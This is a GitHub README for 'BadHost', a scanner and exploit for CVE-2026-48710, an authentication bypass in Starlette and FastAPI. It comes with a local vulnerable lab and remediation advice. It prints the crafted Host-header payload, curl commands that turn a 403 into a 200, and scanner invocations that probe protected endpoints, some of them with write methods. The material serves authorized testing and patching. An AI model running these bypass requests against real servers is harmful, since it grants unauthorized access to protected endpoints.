Bhanunamikaze/BadHost-CVE-2026-48710-Exploit

GitHub: Bhanunamikaze/BadHost-CVE-2026-48710-Exploit

Stars: 0 | Forks: 0

# BadHost — CVE-2026-48710 Scanner GET /admin HTTP/1.1 Host: api.internal/health?__badhost= # Starlette sees request.url.path == "/health" → allowed # ASGI still routes to /admin → bypassed **Affected:** Starlette ≤ 0.46.1 / FastAPI ≤ 0.115.x **Fixed in:** Starlette 0.46.2+ ## Features - Pass a full URL (`https://host/path`) — path extracted automatically as the probe - Loads endpoints from a FastAPI/OpenAPI JSON or YAML spec (file or URL) - Auto-discovers unauthenticated paths to use as injection candidates - Tests both `Host` and `X-Forwarded-Host` carriers, two payload strategies - Built-in presets for AI/LLM (`--preset ai`) and MCP (`--preset mcp`) endpoints - Output: text summary, `--json`, `--csv` - Live scan progress to stderr; zero third-party dependencies ## Local Vulnerable Lab (`badhost_vuln_lab/`) Ships with two FastAPI apps for local validation: cd badhost_vuln_lab docker compose up --build Or without Docker: pip install -r badhost_vuln_lab/requirements.txt uvicorn badhost_vuln_lab.app_vulnerable:app --host 127.0.0.1 --port 8000 uvicorn badhost_vuln_lab.app_fixed:app --host 127.0.0.1 --port 8001 ### Manual bypass test curl -i http://127.0.0.1:8000/admin # 403 curl -i -H "Host: 127.0.0.1:8000/health?x=" http://127.0.0.1:8000/admin # 200 — bypassed curl -i -H "Host: 127.0.0.1:8001/health?x=" http://127.0.0.1:8001/admin # 403 — fixed ## Installation git clone https://github.com/Bhanunamikaze/BadHost-CVE-2026-48710-Exploit.git cd BadHost-CVE-2026-48710-Exploit python badhost_openapi_scanner.py --help # Python 3.9+, no pip install needed ## Usage # Single full URL — path extracted automatically, no extra flags needed python badhost_openapi_scanner.py https://api.internal/checkout/ai-builder # Multiple full URLs python badhost_openapi_scanner.py https://api.internal/admin https://api.internal/api/users # Add extra paths on top of a full URL python badhost_openapi_scanner.py https://api.internal/checkout \ --protected POST:/api/checkout --protected GET:/api/cart # Read-only scan from local openapi.json python badhost_openapi_scanner.py http://api.internal:8000 --openapi ./openapi.json # Include write methods (staging/authorized only) python badhost_openapi_scanner.py http://api.internal:8000 \ --openapi ./openapi.json --openapi-methods all \ --unsafe-allow-write --openapi-body-mode invalid # Fetch OpenAPI directly from the target python badhost_openapi_scanner.py http://api.internal:8000 \ --openapi http://api.internal:8000/openapi.json # Multiple targets, CSV output python badhost_openapi_scanner.py --targets-file targets.txt \ --openapi ./openapi.json --csv > results.csv # AI/LLM + MCP preset paths (no OpenAPI needed) python badhost_openapi_scanner.py http://api.internal:8000 --preset all ## Verdicts | Verdict | Meaning | |---------|---------| | `CONFIRMED` | Baseline 401/403 → test 2xx. **Vulnerable.** | | `SUSPECT` | Baseline 401/403 → test 404/405/422. Auth gate appears bypassed; verify manually. `422` from FastAPI is especially significant. | | `REJECTED` | Proxy rejected malformed Host (400/421) before bypass | | `BLOCKED` | Crafted request still denied | | `OPEN` | Already accessible without auth — not this CVE | Only `CONFIRMED` and `SUSPECT` appear in output. Exit code `2` = CONFIRMED, `1` = SUSPECT, `0` = clean. ## Remediation # Vulnerable if request.url.path.startswith("/public"): ... # Fixed if request.scope["path"].startswith("/public"): ... Upgrade to **Starlette 0.46.2+** / **FastAPI 0.116.0+**. **For authorized testing only. Only scan systems you own or have explicit permission to test.**